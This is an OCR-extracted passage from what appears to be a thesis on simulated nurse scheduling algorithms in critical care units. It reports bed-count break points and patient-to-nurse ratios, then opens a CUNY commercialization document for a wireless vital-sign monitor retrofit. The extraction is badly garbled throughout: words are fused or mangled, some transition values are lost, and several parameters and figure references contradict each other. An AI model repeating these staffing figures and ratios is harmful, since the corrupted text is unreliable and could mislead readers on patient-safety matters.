3 100 e £ 3 P
o i o PR
- 40 :
o O ¥ @
. .
50 ot - B
on 2 ]
d - w0 P R |
v . P - °
o e L3 P S I o L S A Voo S - LB
0
50 -20
0 2 4 6 8 10 12 14 16 18 20 22 0 5 10 15 20 25
BedCount 1-20 BedCount 1-24

The four graphs in Figure (9.2.8) compare the Cyclic Scarhéllmmediate algorithm
break points for different values of In graph (a) we observe the comparative transition
of the Cyclic Scan algorithm versus the Immediate algorjtfon vital sign alarm mean
inter-arrival time set to 7.5 min, showing the transitiomand 8 beds respectively. With
the mean inter-arrival time set to 15 min, only the Immedag@rithm differed from graph
(a) and shows the transition at 9 beds. In graph (c) both treicC8can and Immediate
algorithms shift forward in their transitions at 5 beds, Etb respectively, with the mean
inter-arrival time set to 40 min. Finally, with the vital signean inter-arrival time set to 80
min, both the Cyclic Scan and Immediate algorithms shifivemd in their transitions at 6

beds, 12 beds respectively.
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Figure 9.2.9Phase transition of Cyclic-Scan vs Future-Aware in Expt2Paith \ 7.5
min, 15 min, 40 min and 80 min.
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The four graphs in Figure (9.2.9) compare the Cyclic ScahédRuture Aware algorithm
break points for different values of In graph (a) we observe the comparative transition
of the Cyclic Scan algorithm versus the Future Aware albaritfor vital sign alarm mean
inter-arrival time set to 7.5 min, showing the transitiomand 8 beds respectively. With
the mean inter-arrival time set to 15 min, only the Future Analgorithm differed from
graph (a) and shows the transition at 10 beds. In graph (b)thetCyclic Scan and Future
Aware algorithms shift forward in their transitions at 5 betli2 beds respectively, with the
mean inter-arrival time set to 40 min. Finally, with the Visggn mean inter-arrival time
set to 80 min, both the Cyclic Scan and Future Aware algostistft forward in their

transitions at 6 beds, 14 beds respectively.
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Figure 9.2.10Phase transition of Cyclic-Scan vs Socially-Aware in ExpitPwith A 7.5
min, 15 min, 40 min and 80 min.
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The four graphs in Figure (9.2.10) compare the Cyclic Scélng&ocially Aware algorithm
break points for different values af In graph (a) we observe the comparative transition of
the Cyclic Scan algorithm versus the Socially Aware aldyonit for vital sign alarm mean
inter-arrival time set to 7.5 min, showing the transitiomand 8 beds respectively. With
the mean inter-arrival time set to 15 min, only the Socialyate algorithm differed from
graph (a) and shows the transition at 9 beds. In graph (c)thet@yclic Scan and Socially
Aware algorithms shift forward in their transitions at 5 betli2 beds respectively, with the
mean inter-arrival time set to 40 min. Finally, with the Visggn mean inter-arrival time
set to 80 min, both the Cyclic Scan and Future Aware algostistft forward in their

transitions at 6 beds, 14 beds respectively.
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9.2.3 Part3

Purpose: The purpose of Part 3 is to quantify how varying the caregivaximum service
period impacts the emergence of Code-Blue conditions witheé critical care unit, for

each of the various proposed caregiver scheduling algosith

Configured Parameters

Vital Sign (ID; Poisson \) . The vital sign IDvs; was set to generate alarms according to

a Poisson process with mean inter-arrival time of 20 min.

Caregiver Maximum Service Period . We set the caregiver maximum service time to be

6.25 min, 12.5 min, 50 min, and 100 min.

Variable Parameters: In this part, the configuration parameters varied the Caeedlax-
imum Service Period through 4 different values, and the Bedn€was varied from 1-60

in steps of 1.

The four graphs of Figure (9.2.11) shows that initially thestcof all algorithms are in
agreement (at zero), since the workload of the caregiveo ilbw that optimization is
unnecessary. This parity breaks down differently for eaanes assigned to the caregiver

maximum service period.

In graph (a) of Figure (9.2.11) with the caregiver maximunmviee period set to 6.25
min. The parity breaks down when the number of beds exceedadthe cyclic scan
sees a dramatic rise in cost from 0 to 72000 as the number of ibeceases from 8 to
32. During this interval, all non-trivial caregiver algtimns facilitated by the OpenCClI

maintain their optimal zero cost performance. Finally, whige number of beds increases
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Figure 9.2.11Cost of critical care algorithms in Exp1 Part3 with max-seme 6.25 min,
12.5 min, 50 min and 100 min.
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beyond 32, even the OpenCCl enabled scheduling algoritlegis bo experience non-zero

cost. This is to be expected, since at such high workloadsgsmount of optimization

in scheduling can avoid the occurrence of patient injurye Tdéite at which the proposed

algorithms experience costs varies: the Greedy algorithdnimmediate show a marginal

higher cost over the remaining Future-Aware and Sociallsa# algorithms. Finally, when

the number of beds is sufficiently high, in excess of 41, thetscof all four algorithms once

again coincide.

In graph (b) of Figure (9.2.11) with the caregiver maximunvee period set to 12.5 min.

The parity breaks down when the number of beds exceeds 6hamydlic scan sees a rise
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in cost from 0 to 36000 as the number of beds increases from84 #s the number of

beds increases beyond 8, the OpenCCl enabled scheduloritfahgs begin to experience
non-zero cost. The rate at which the proposed algorithmeresqce costs varies: notice
the different behavior from graph (a), here only the Greddgrahm rises first, at 17 beds,
while the Immediate, Future-Aware and Socially-Aware attpons rise above zero at 18

beds. And all algorithms coincide in excess of 22 beds.

In graph (c) of Figure (9.2.11) with the caregiver maximumve® period set to 50 min.

The parity breaks down when the number of beds exceeds 3hamydlic scan sees arise
in cost from 0 to 11000 as the number of beds increases frond 3Ae the number of beds
increases beyond 5, the OpenCCI enabled scheduling &dlgmribegin to experience non-
zero cost. The rate at which the proposed algorithms expegieosts varies: notice the
different behavior from graph (b), here the Greedy, Immiediguture-Aware and Socially-
Aware algorithms rise above zero at 6 beds. Then all algosthoincide in excess of 7

beds.

In graph (d) of Figure (9.2.11) with the caregiver maximumvee period set to 100 min.
The parity breaks down when the number of beds exceeds 2hamytlic scan sees arise
in cost from 0 to 6000 as the number of beds increases from 2Nofce that the increase
of the caregiver maximum service period reduced in orderagfmitude the observed break
down points in each algorithm. And it follows, as the numbiebeds increases beyond 3,
the OpenCCl enabled scheduling algorithms begin to expegieon-zero cost. Finally, in

excess of 4 beds, the costs of all four algorithms once aganticle.

The four graphs in Figure (9.2.12) compare the Cyclic Scahedsreedy algorithm break
points for different values of Caregiver Maximum Servicei®@ In graph (a) we observe

the comparative transition of the Cyclic Scan algorithmsuerthe Greedy algorithm, for
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Figure 9.2.12Phase transition of Cyclic-Scan vs Greedy in Expl Part3 m-serv-time
6.25 min, 12.5 min, 50 min and 100 min.
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maximum service period set to 6.25 min, showing the tramsiét 8 and 33 beds respec-
tively. With the maximum service period set to 12.5 min, thek& Scan and the Greedy
algorithms differed from graph (a) and shows the transiéib and 19 beds respectively.
In graph (c) both the Cyclic Scan and Greedy algorithms Slai¢kward in their transitions
to 4 beds, 6 beds respectively, with the maximum servicegeset to 50 min. Finally, with
the maximum service period set to 80 min, both the Cyclic Swath Greedy algorithms

shift backward in their transitions to 3 beds, 4 beds resypadyt

The four graphs in Figure (9.2.13) compare the Cyclic Scatmeéommediate algorithm

break points for different values of Caregiver Maximum S$&xPeriod. In graph (a) we
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Figure 9.2.13Phase transition of Cyclic-Scan vs Immediate-DispatchxplEPart3 with
max-serv-time 6.25 min, 12.5 min, 50 min and 100 min.
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observe the comparative transition of the Cyclic Scan #@lgorversus the Immediate al-
gorithm, for maximum service period set to 6.25 min, showtimg transition at 8 and 33
beds respectively. With the maximum service period set t6 friin, the Cyclic Scan and
the Immediate algorithms differed from graph (a) and shdwdiansition at 7 and 19 beds
respectively. In graph (c) both the Cyclic Scan and Immedagorithms shift backward
in their transitions to 4 beds, 6 beds respectively, withrtteximum service period set to
50 min. Finally, with the maximum service period set to 80 nhioth the Cyclic Scan and

Immediate algorithms shift backward in their transition8tbeds, 4 beds respectively.
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Figure 9.2.14Phase transition of Cyclic-Scan vs Future-Aware in Expt3aith max-
serv-time 6.25 min, 12.5 min, 50 min and 100 min.
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The four graphs in Figure (9.2.14) compare the Cyclic Scahdd-uture Aware algorithm
break points for different values of Caregiver Maximum $&Period. In graph (a) we
observe the comparative transition of the Cyclic Scan #lyorversus the Future Aware
algorithm, for maximum service period set to 6.25 min, shaihe transition at 8 and
33 beds respectively. With the maximum service period s&2t6 min, the Cyclic Scan
and the Future Aware algorithms differed from graph (a) armahs the transition at 7 and
19 beds respectively. In graph (c) both the Cyclic Scan andrElAware algorithms shift
backward in their transitions to 4 beds, 6 beds respectivaln the maximum service
period set to 50 min. Finally, with the maximum service pérget to 80 min, both the

Cyclic Scan and Future Aware algorithms shift backward wirtkransitions to 3 beds, 4



beds respectively.
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Figure 9.2.15Phase transition of Cyclic-Scan vs Socially-Aware in Expit®with max-
serv-time 6.25 min, 12.5 min, 50 min and 100 min.
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Comparing the Cyclic Scan to the Socially Aware algorithhre four graphs in Figure

(9.2.14) shows the break points for different values of Gi&e¥ Maximum Service Period.

In graph (a) we observe the comparative transition of theli€Bran algorithm versus

the Socially Aware algorithm, for maximum service period t8e6.25 min, showing the

transition at 8 and 33 beds respectively. With the maximumwice period set to 12.5 min,

the Cyclic Scan and the Socially Aware algorithms differeahf graph (a) and shows the

transition at 7 and 19 beds respectively. In graph (c) bo¢hGiclic Scan and Socially

Aware algorithms shift backward in their transitions to 416 beds respectively, with the

maximum service period set to 50 min. Finally, with the maximservice period set to 80
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min, both the Cyclic Scan and Socially Aware algorithmstdbaickward in their transitions

to 3 beds, 4 beds respectively.

9.3 Summary

In Part 1 we observed that a single caregiver operating ewdigdritical care unit condition,

following the Cyclic Scan algorithm the care giver can safendle 4 patients. Increas-
ing the patient to nurse ratio more than 4:1 in the Cyclic Ssfaows increase of fatalities
and code-blue in the critical care unit. On the other handedan Experiment 1 specific
configuration, the Greedy algorithm enabled the singlegieee to perform with no fatal-

ities up to 9 patients. For the other candidate algorithrescéregiver up to 10 patients.
The experiments show the Immediate Dispatch, Future AwadeSocially Aware to be

the best performing algorithms followed by the Greedy athar. All interconnect based
algorithms allow a much better performance in all cases esatpto the default Cyclic
Scan system. The overall performance cost graphs asssttibervation as well, showing

the Cyclic Scan to be the most expensive system in terms oélbuguries.

Part 2 of the experiment shows that the increase of the vgalBoisson\ increased the
time between successive alarms. This reduced the load aratkgiver and expands the

curves, indicating achieving service to a higher patieats¢.

Part 3 shows that the increase of the care giver Maximum &eReriod ties the caregiver
for longer periods handling patient injuries. This induadsgger delay until the caregiver
is able to handle another patient, making them observe highey levels by the time of
arrival. This increases the load on the caregiver and cosspsethe curves, causing the

threshold at which degredation in performance manifestetat lower patient count.
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CHAPTER 10

EXPERIMENTS II: MANY CAREGIVERS, MANY PATIENTS,
ONE VITAL SIGN

10.1 Objectives and Methodology

The objective of the following experiment is to determinevhsystem performance
curves determined in Experiment 1 are altered by the intrtiolo of additional caregivers.
The goal is to observe the change in the safe patient to natisefor 2, 4 and 8 caregivers
respectively. Fundamentally, we would like to know the axte which the system is able

to leverage additional caregivers.

The structure of this experiment repeats the experimemritbes! in the previous section,
3 times: for 2, 4, and 8 caregivers. All parts share a set dicgparameters. Each part
applies a different value for the same variable parametagwin this case is the caregiver
count. Each part or division of the experiment explores aadyic range of values for the
variable parameter. Following the scientific method, sating each value requires multi-
ple executions of the simulator with the exact same parametenfiguration, to eliminate

spurious effects.
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10.1.1 Static Parameters

Throughout the experiments described in this chapter, dhewiing parameters are kept

fixed:

Number of experimental trials per single configuration: 30
Simulation Time 480 minutes. This is the equivalent of 8 hours, a standaré day.

Number of Monitored Vital Signs 1. We keep the system simple, in order to isolate the
effects of increased load, without having to consider theractions between multi-

ple co-located vital signs.

Caregiver Maximum Service Period . We assume that caregiver service time was linear
in injury. As time passes, injury level approaches 100 erptially, and caregiver

service time approaches its maximum value, which we tooletd3min.

Vital Sign (ID; Poisson \) . The vital sign IDvs; was assumed to generate alarms ac-

cording to a Poisson process with mean inter-arrival tim20ofin.

Vital Sign (ID; Time to Fatal Injury) (vsq; 6 min). This is the order of magnitude of the

time to Code-Blue for several common critical care condiio

10.2 Results

Configured Parameters

Number of Caregivers 1, 2, 4, and 8.
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Variable Parameters: In this experiment, the configuration parameters variediiaber
of Caregivers through 4 different values, and for each o$¢healues the Bed Count was

varied from 1-100.

Figure 10.2.1Cost of critical care algorithms in Exp2 with caregiversiebl, 2, 4 and 8.
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The four graphs of Figure (10.2.1) shows that initially tleestcof all algorithms are in
agreement (at zero), since the workload of the caregiveo ilw that optimization is

unnecessary. This parity breaks down differently as thelrarof serving caregivers varies.

In graph (a) of Figure (10.2.1) with one caregiver servinggmds. The parity breaks down
when the number of beds exceeds 4, and the cyclic scan sessia cost from 0 to 18000
as the number of beds increases from 4 to 8. During this iateayl non-trivial caregiver

algorithms facilitated by the OpenCCI maintain their o@lmero cost performance. Fi-
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nally, when the number of beds increases beyond 8, even tte@} enabled scheduling
algorithms begin to experience non-zero cost. This is toXpe&ed, since at such high
workloads, no amount of optimization in scheduling can duwbe occurrence of patient
injury. The rate at which the proposed algorithms expeererasts varies: the Greedy al-
gorithm raise first as the number of beds exceeds 8, and thedinate, Future-Aware and
Socially-Aware algorithms raise as the number of beds als8e Finally, when the num-

ber of beds is sufficiently high, in excess of 12, the costdldbar algorithms once again

coincide.

In graph (b) of Figure (10.2.1) with two caregivers serviagg@nts. The parity breaks down
when the number of beds exceeds 7, and the cyclic scan seamatirrise in cost from
0 to 40000 as the number of beds increases from 7 to 18. As theenof beds increases
beyond 18, the OpenCCl enabled scheduling algorithms hegixperience non-zero cost.
The rate at which the proposed algorithms experience castesv notice the different
behavior from graph (a), here the Greedy, the Immediatef-titere-Aware and Socially-
Aware algorithms rise above zero at 19 beds. And all algarticoincide in excess of 24

beds.

In graph (c) of Figure (10.2.1) with 4 caregivers servinggqras. The parity breaks down
when the number of beds exceeds 11, and the cyclic scan seesnatit rise in cost
from O to 84000 as the number of beds increases from 11 to 38hé\sumber of beds
increases beyond 38, the OpenCCl enabled schedulingtligsrbegin to experience non-
zero cost. The rate at which the proposed algorithms expegieosts varies: notice the
different behavior from graph (a,b), here only the Greedyathm rises first, at 39 beds,
followed by the Immediate algorithm, at 40 beds, while théuFerAware and Socially-
Aware algorithms rise above zero at 41 beds. Then all alyostcoincide in excess of 48

beds.
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In graph (d) of Figure (10.2.1) with 8 caregivers servinggras. The parity breaks down
when the number of beds exceeds 19, and the cyclic scan seamatit rise in cost from
0 to 180000 as the number of beds increases from 19 to 80. e\t the increase of the
number of serving caregivers increased the observed b@aik ded count in each algo-
rithm. And it follows, as the number of beds increases beyghdhe OpenCCl enabled
scheduling algorithms begin to experience non-zero casalll, in excess of 95 beds, the

costs of all four algorithms once again coincide.

Figure 10.2.2Phase transition of Cyclic-Scan vs Greedy in Exp2 with daszg count 1,
2,4 and 8.
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The four graphs in Figure (10.2.2) compare the Cyclic Scahddsreedy algorithm break
points for different values of serving caregivers. In gréahwe observe the comparative

transition of the Cyclic Scan algorithm versus the Greedpadhm, for one serving care-
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giver, showing the transition at 4 and 9 beds respectiveljth Wvo serving caregivers,
the transition took place at 7 and 19 beds. In graph (c) balCyclic Scan and Greedy
algorithms shift forward in their transitions at 12 bedsp@ts respectively, with 4 serving
caregivers. Finally, with 8 serving caregivers, both thel@yScan and Greedy algorithms

shift forward in their transitions at 19 beds, 78 beds resypely.

Figure 10.2.3Phase transition of Cyclic-Scan vs Immediate-DispatchxpZEwith care-
givers count 1, 2, 4 and 8.
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Comparing the Cyclic Scan to the Immediate algorithm in the §raphs in Figure (10.2.3),
in graph (a) we observe the comparative transition of thdi€gcan algorithm versus the
Immediate algorithm, for one serving caregiver, we havetthesition at 4 and 10 beds
respectively. With two serving caregivers, the transitiook place at 8 and 19 beds. In

graph (c) both the Cyclic Scan and Immediate algorithmg &tmivard in their transitions
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at 12 beds and 41 beds respectively, with 4 serving caregitAamally, with 8 serving care-
givers, both the Cyclic Scan and Immediate algorithms $biftard in their transitions to

19 beds, 82 beds respectively.

Figure 10.2.4Phase transition of Cyclic-Scan vs Future-Aware in Exptwiregivers
countl, 2,4 and 8.
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Comparing the Cyclic Scan to the Future Aware algorithm i fibur graphs in Figure
(10.2.4), in graph (a) we observe the comparative tramsdfdthe Cyclic Scan algorithm
versus the Future Aware algorithm, for one serving caregwe have the transition at 4
and 10 beds respectively. With two serving caregivers,rénesition took place at 8 and 19
beds. In graph (c) both the Cyclic Scan and Future Aware gkgos shift forward in their

transitions at 12 beds and 41 beds respectively, with 4sgmaregivers. Finally, with 8

serving caregivers, both the Cyclic Scan and Future Awayerdhms shift forward in their
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transitions to 19 beds, 82 beds respectively.

Figure 10.2.5Phase transition of Cyclic-Scan vs Socially-Aware in Expthwaregivers
countl, 2,4 and 8.
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Comparing the Cyclic Scan to the Socially Aware algorithnthia four graphs in Figure
(10.2.5), in graph (a) we observe the comparative tramsdfidthe Cyclic Scan algorithm
versus the Socially Aware algorithm, for one serving caregiwe have the transition at 4
and 10 beds respectively. With two serving caregivers, festtion took place at 8 and
19 beds. In graph (c) both the Cyclic Scan and Socially Awlgerahms shift forward in

their transitions at 12 beds and 40 beds respectively, wsdrving caregivers. Finally, with
8 serving caregivers, both the Cyclic Scan and Socially Avedgorithms shift forward in

their transitions to 19 beds, 80 beds respectively.
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10.3 Summary

After conducting experiment 2 we were able to observe théagcan, for the caregiver
count 1, 2, 4 and 8 the nurse to patient ratio is 1:4, 2:8, 4ri2&19 respectively. On
the other hand the average observation for the candidabeithigns nurse to patient ratio
for the caregiver count 1, 2, 4 and 8 is 1:10, 2:19, 4:40 an@ B8pectively. We see that
the proposed algorithms are able to maintain competitivargidhge against the status quo

cyclic scan, and are able to obtain linear improvements tximmam patient throughput, as

the number of caregivers is increased.
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CHAPTER 11

EXPERIMENTS Ill: MANY CAREGIVERS, MANY PATIENTS,
MANY VITAL SIGNS

11.1 Objectives and Methodology

The objective of the following experiment is to determinenvhsystem performance
curves determined in Experiment 1 are altered by the inttidio of additional vital signs.
The goal is to observe the change in the safe patient to natigewhen a new vital sign
which compared to the existing vital sign of Experiment 15 baher higher or lower time
to fatality, and has either higher or lower Poisson interal times. We consider (Time to

Fatal Injury,\):

3 min, 10 min | 3 min, 40min

12 min, 10 min| 12 min, 40 min

In this chapter, all graphs will appear laid out in sets of doading to the above parameter
table. As the vital-sign represent two variables, it is obse as a variable surface. The
choice of adding the second vital-sign followed the choitd dlifferent points on that
surface, each belong to a different quadrant, surroundiagrtitial vital-sign projected

point.
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11.1.1 Static Parameters

Throughout the experiments described in this chapter, dhewiing parameters are kept

fixed:

Number of experimental trials per single configuration: 30
Simulation Time 480 minutes. This is the equivalent of 8 hours, a standaré day.

Number of Monitored Vital Signs 1. We keep the system simple, in order to isolate the
effects of increased load, without having to consider theractions between multi-

ple co-located vital signs.

Caregiver Maximum Service Period . We assume that caregiver service time was linear
in injury. As time passes, injury level approaches 100 erptially, and caregiver

service time approaches its maximum value, which we tooletd3min.

Vital Sign (ID; Poisson \) . The vital sign IDvs; was assumed to generate alarms ac-

cording to a Poisson process with mean inter-arrival tim20ofin.

Vital Sign (ID; Time to Fatal Injury) (vsq; 6 min). This is the order of magnitude of the

time to Code-Blue for several common critical care condiio

Number of Caregivers 8 caregivers serving patients.
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11.2 Results

Configured Parameters

Vital Sign (ID; Time to Fatal Injury ’ Poisson )) vso is a second monitored vital-sign
added to each patient, where we will vary both the Time tolRajary and mean
inter-arrival time respectivelyzéo; (3 min’ 10 min), (3 min’ 40 min), (12 min’ 10

min), (12 min’ 40 min))

Variable Parameters: In this experiment, the configuration parameters variegédumnd
vital-sign attributes through 4 different pairs of valuasd for each of those pairs the Bed

Count was varied from 1-80.

The four graphs of Figure (11.2.1) shows that initially tleestcof all algorithms are in
agreement (at zero), since the workload of the caregiveo iw that optimization is

unnecessary. This parity breaks down differently as thelrarof serving caregivers varies.

In graph (a) of Figure (11.2.1) with second vital-sign attites set to (3 min, 10 min).
The parity breaks down when the number of beds exceeds 6 hancytlic scan sees a
dramatic rise in cost from 0 to 200000 as the number of bedsases from 6 to 40. During
this interval, all non-trivial caregiver algorithms fatdted by the OpenCCl maintain their
optimal zero cost performance. Finally, when the numbereafshincreases beyond 40,
even the OpenCCl enabled scheduling algorithms begin terepce non-zero cost. This
is to be expected, since at such high workloads, no amounttohization in scheduling

can avoid the occurrence of patient injury. Finally, wheatlumber of beds is sufficiently

high, in excess of 50, the costs of all four algorithms onaaragoincide.
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Figure 11.2.1Cost of critical care algorithms in Exp3 with 2nd vital-si¢g$ 10), (3 40),
(12 10) and (12 40).
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In graph (b) of Figure (11.2.1) with second vital-sign &iites set to (3 min, 40 min).
The parity breaks down when the number of beds exceeds 7 hangytlic scan sees a
dramatic rise in cost from 0 to 110000 as the number of bedsases from 7 to 45. As the
number of beds increases beyond 45, the OpenCCI enableduticigealgorithms begin

to experience non-zero cost. The rate at which the propdgedtams experience costs
varies: notice the different behavior from graph (a), heeeGreedy algorithm rise first at
45 beds, then the Immediate, and Socially-Aware algoritheesabove zero at 47 beds.
Followed by the Future-Aware at 48 beds. And all algorithragcide in excess of 59

beds.
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In graph (c) of Figure (11.2.1) with second vital-sign dfiies set to (12 min, 10 min).
The parity breaks down when the number of beds exceeds 10thandyclic scan sees
a dramatic rise in cost from 0 to 140000 as the number of bexteases from 10 to 55.
As the number of beds increases beyond 55, the OpenCCl ensdileduling algorithms
begin to experience non-zero cost. The Greedy algorithitgwed by the Immediate
algorithm, the Future-Aware and Socially-Aware algorithnse above zero at 56 beds.

Then all algorithms coincide in excess of 64 beds.

In graph (d) of Figure (11.2.1) with second vital-sign diiries set to (12 min, 40 min). The
parity breaks down when the number of beds exceeds 11, angdhescan sees a dramatic
rise in cost from O to 140000 as the number of beds increagesXi to 60. And it follows,
as the number of beds increases beyond 60, the OpenCCl drsahleduling algorithms
begin to experience non-zero cost. The rate at which theggexpalgorithms experience
costs varies: the Immediate algorithm rise first at 61 betlevied by the Greedy and
Socially Aware algorithms at 63 beds. Then the Future Awlgerdhm is last to break at

65 beds. Finally, in excess of 73 beds, the costs of all fayoréhms once again coincide.

The four graphs in Figure (11.2.2) compare the Cyclic Scahddsreedy algorithm break
points for different values of the second vital-sign atitds. In graph (a) we observe the
comparative transition of the Cyclic Scan algorithm verdes Greedy algorithm, for the
second vital-sign attributes set to (3 min, 10 min), showilmgtransition at 8 and 40 beds
respectively. With the second vital-sign attributes seftanin, 40 min), the transition
took place at 9 and 44 beds. In graph (c) both the Cyclic ScanGreedy algorithms
shift forward in their transitions to 12 beds, 54 beds res8pely, with second vital-sign
attributes set to (12 min, 10 min). Finally, with second l&mn attributes set to (12 min,
40 min), both the Cyclic Scan and Greedy algorithms shiftvéod in their transitions to

13 beds, 62 beds respectively.
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Figure 11.2.2Phase transition of Cyclic-Scan vs Greedy in Exp3 with 2nrdlgign (3
10), (3 40), (12 10) and (12 40).
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The four graphs in Figure (11.2.3) compare the Cyclic Scatiéolmmediate algorithm
break points for different values of the second vital-sitinkautes. In graph (a) we observe
the comparative transition of the Cyclic Scan algorithmsusrthe Immediate algorithm,
for the second vital-sign attributes set to (3 min, 10 mihpwing the transition at 8 and 39
beds respectively. With the second vital-sign attribuét$s (3 min, 40 min), the transition
took place at 9 and 46 beds. In graph (c) both the Cyclic Scdriramediate algorithms
shift forward in their transitions to 13 beds, 54 beds res8pely, with second vital-sign
attributes set to (12 min, 10 min). Finally, with second l&mn attributes set to (12 min,
40 min), both the Cyclic Scan and Immediate algorithms dbifivard in their transitions

to 13 beds, 60 beds respectively.
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Figure 11.2.3Phase transition of Cyclic-Scan vs Immediate-Dispatchxp3Ewith 2nd

vital-sign (3 10), (3 40), (12 10) and (12 40).
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Comparing the Cyclic Scan to the Future Aware algorithm, fthe graphs in Figure

(11.2.4) shows the break points for different values of #wosad vital-sign attributes. In

graph (a) we observe the comparative transition of the €y@®&tian algorithm versus the

Future Aware algorithm, for the second vital-sign attrésuset to (3 min, 10 min), show-

ing the transition at 8 and 41 beds respectively. With theiséwital-sign attributes set to

(3 min, 40 min), the transition took place at 9 and 48 beds.raply (c) both the Cyclic

Scan and Future Aware algorithms shift forward in their $iions to 13 beds, 55 beds

respectively, with second vital-sign attributes set to di2, 10 min). Finally, with sec-

ond vital-sign attributes set to (12 min, 40 min), both theclityScan and Future Aware

algorithms shift forward in their transitions to 13 beds J@%ls respectively.
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Figure 11.2.4Phase transition of Cyclic-Scan vs Future-Aware in Exp3®&itd vital-sign
(3 10), (340), (12 10) and (12 40).
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Figure (11.2.5) compare the Cyclic Scan to the Socially Anagorithm break points for
a second monitored vital sign (Time to Fatal Injury ; Pois3®i3 min; 10 min), (3 min;
40 min), (12 min; 10 min) and (12 min; 40 min) showing (8,414&) (13,54) and (13,62)

respectively.

Comparing the Cyclic Scan to the Socially Aware algorithhee four graphs in Figure
(11.2.5) shows the break points for different values of #mosad vital-sign attributes. In
graph (a) we observe the comparative transition of the €y@&tian algorithm versus the
Socially Aware algorithm, for the second vital-sign atiriies set to (3 min, 10 min), show-

ing the transition at 8 and 41 beds respectively. With theséwital-sign attributes set to
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Figure 11.2.5Phase transition of Cyclic-Scan vs Socially-Aware in Expggéhvnd vital-
sign (3 10), (3 40), (12 10) and (12 40).
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(3 min, 40 min), the transition took place at 9 and 45 beds.réply (c) both the Cyclic
Scan and Socially Aware algorithms shift forward in thearsitions to 13 beds, 54 beds
respectively, with second vital-sign attributes set to di2, 10 min). Finally, with sec-
ond vital-sign attributes set to (12 min, 40 min), both thecliZyScan and Socially Aware

algorithms shift forward in their transitions to 13 beds,b&2is.
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11.3 Summary

After conducting experiment 3 we were able to observe thatyfdlic scan, the introduction
of the second monitored vital sign changes the maximum adbhésworkload for the 8

nurses as follows:

3 min, 10 min | 3 min, 40min
8:8 8:9

12 min, 10 min| 12 min, 40 min
8:13 8:13

On the other hand the average observation for the candittgaathms, the introduction

of the second monitored vital sign changes the maximum adbhésworkload for the 8

nurses as follows:

3 min, 10 min | 3 min, 40min
8:42 8:45

12 min, 10 min| 12 min, 40 min
8:55 8:64

The four projected points form the surface (representirgrémge for the second added
vital-sign), show that the diagonal points (3, 10) and (1), @e the highest and lowest

load respectively.

Based on the observations in experiment 1, the cyclic sggoritim shows a nurse to
patient ratio 1:4, through stressing and overloading tis¢esy with second vital-sign, the
cyclic scan algorithm approximately descends its perfoxeeal:1 nurse to patient ratio.

On the other hand, the OpenCCI candidate algorithms, shawseno patient ratio 1:10
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through experiment 1, but through stressing and overlgpthe system by adding the

second vital-sign, those algorithms descend their perdora to approximately 1:6 nurse

to patient ratio.

As the steady work load in critical care room, operates ireld@oundaries of the described
thresholds, injuries and fatalities occur as the enviramne&perience a drift towards the
regions of phase transition presented by the previous erpets. The OpenCCI candidate
algorithms prove to provide a higher ceiling and margin ééeto reduce possible injuries

and fatalities inside critical care units.
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CHAPTER 12

FIELD TESTING

In this chapter we provide evidence of the commercializaiocess, and successes in

the deployment and field testing of OpenG¥land its constituent technologies.

12.1 Technology Commercialization

The next documents are a chronology of the commercializairocess, as sponsored by
the City University of New York, and beta-tested at St. Jb&eHospital & Medical Center

attached with a letter of intent from Siemens.
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l The City

University TECHNOLOGY COMMERCIALIZATION

of OFFICE
New York

SUPPORTING DOCUMENT FOR UNSOLICITED GRANT PROPOSAL FOR:
Beta Demonstration at St. Luke’s and Roosevelt Hospitals
of Mobility Upgrade for Improved Critical Care Patient Safety,
Staff Productivity, and Pandemic-Disaster-Surge Preparedness
(TCO REF: 09A0033)

Purpose:

The City University of New York (CUNY) and St. Luke’s and Roosevelt Hospitals seek funding for
demonstration of a mobility upgrade in critical care that improves patient safety, staff productivity, and
pandemic-disaster-surge preparedness.

Background:
There is room for improvements in patient safety in critical care, for improvements in staff productivity in
critical care, and for improv in di ‘surge preparedness in critical care. Implementing all of

these improvements at once would make for a very meaningful upgrade in a public health system. But
the upgrade must be both affordable, casy to implement, and minimally disruptive.

Improving patient safety means reducing risks. In critical care, missed vital sign alarms can be fatal. Vital
sign alarms can go unattended at a busy central nursing station. Alarms can be lost in the ambient noise.
Wiring in a wired-to-the-wall patient safety monitor system can become detached, degraded, or defective
in daily use. Sometimes there is human error. These all impact upon w patient safety, but now put the
wired-to-the-wall system in pandemic, disaster, or surge situations, and the risk to patient safety increases
again., Yet modern times require more flexible and more capable patient safety monitoring in critical care
for all situations, normal, pandemic and disaster.

Innovative Retrofit System Cost-Effectively Improves Critical Care:

CUNY has demonstrated an important innovation that improves patient safety in critical care vital sign
monitoring and improves staff productivity in critical care operations, while also expanding system
flexibility, mobility and capacity for critical care monitoring in pandemic, disaster, surge situations. All
of this is achieved with a low capital cost retrofit that converts existing vital sign monitor inventory from
wired to wireless without system disruption. Conversion and reuse of the existing wired monitor
inventory makes this easy to install upgrade very affordable.

The CUNY system features three key sets of mobile components: 1) vital sign monitors on carts with a
wireless proprietary universal protocol adapter (uPTA) attached to the data port of each such monitor, 2)
wireless protocol data server(s) and backup supplies on a cart, and 3) mobile communication devices
(e.g.. i-phones, wireless laptops, or mobile alarm enunciators, etc.) assigned to, or worn by, on-duty staff.
These are the components of a robust system that is designed for both daily critical care operations and
for immediate relocation or expansion in any emergency situation.

The key feature here is that everything is made wireless and mobile without breaking the bank. The
uPTA adapter converts the pre-existing wired-to-the-wall monitor inventory to wireless, without impact
on the monitor equipment, medical/data content or warranty. At the same time, the uPTA adapter
converts the data protocol of each wired equipment into a proprietary universal protocol, which in turn
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2.

enables a wide range of otherwise incompatible pre-existing wired equip to co i in a single
and unified wireless communication platform. The uPTA adapter also has a pass-through feature that
enables the entire system upgrade to be installed without interruption of wired operations. The old wired

system can be decommissioned at leisure, after acceptance of the wireless upgrade.

the CUNY
CRITICAL CARE ANYWHERE
RETROFIT sysfem
Communicating Wirelessly To Anyplace

(@) ,
o @
(@) (@) -
d
<-|ll-> o
¢

Y

uPTA Universal
Proprietary Adapter Monitor Adapter & Communicates
Retrofit Converts Communicates Wirelessly Wirelessly to any
Existing Wired Critical to Mobile Server on Cart Designated Portable or
Care Monitor Inventory Fixed Device
to Wireless

Self-Contained LAN or Ad Hoc:

This new system operates on its own LAN. For fixed locations, e.g., normal CCU or ER operations,
wireless access points can be permanently installed for communication between monitor/adapter,
server, and staff. But for temporary or emergency deployment/relocation, spare local access points and
repeaters stored on the server cart can be deployed to immediately establish or extend the LAN in any
new location. Alternatively, the system can simply operate in AD HOC mode without a LAN, allowing
all wireless devices within range of each other to communicate peer-to-peer.  And all of this
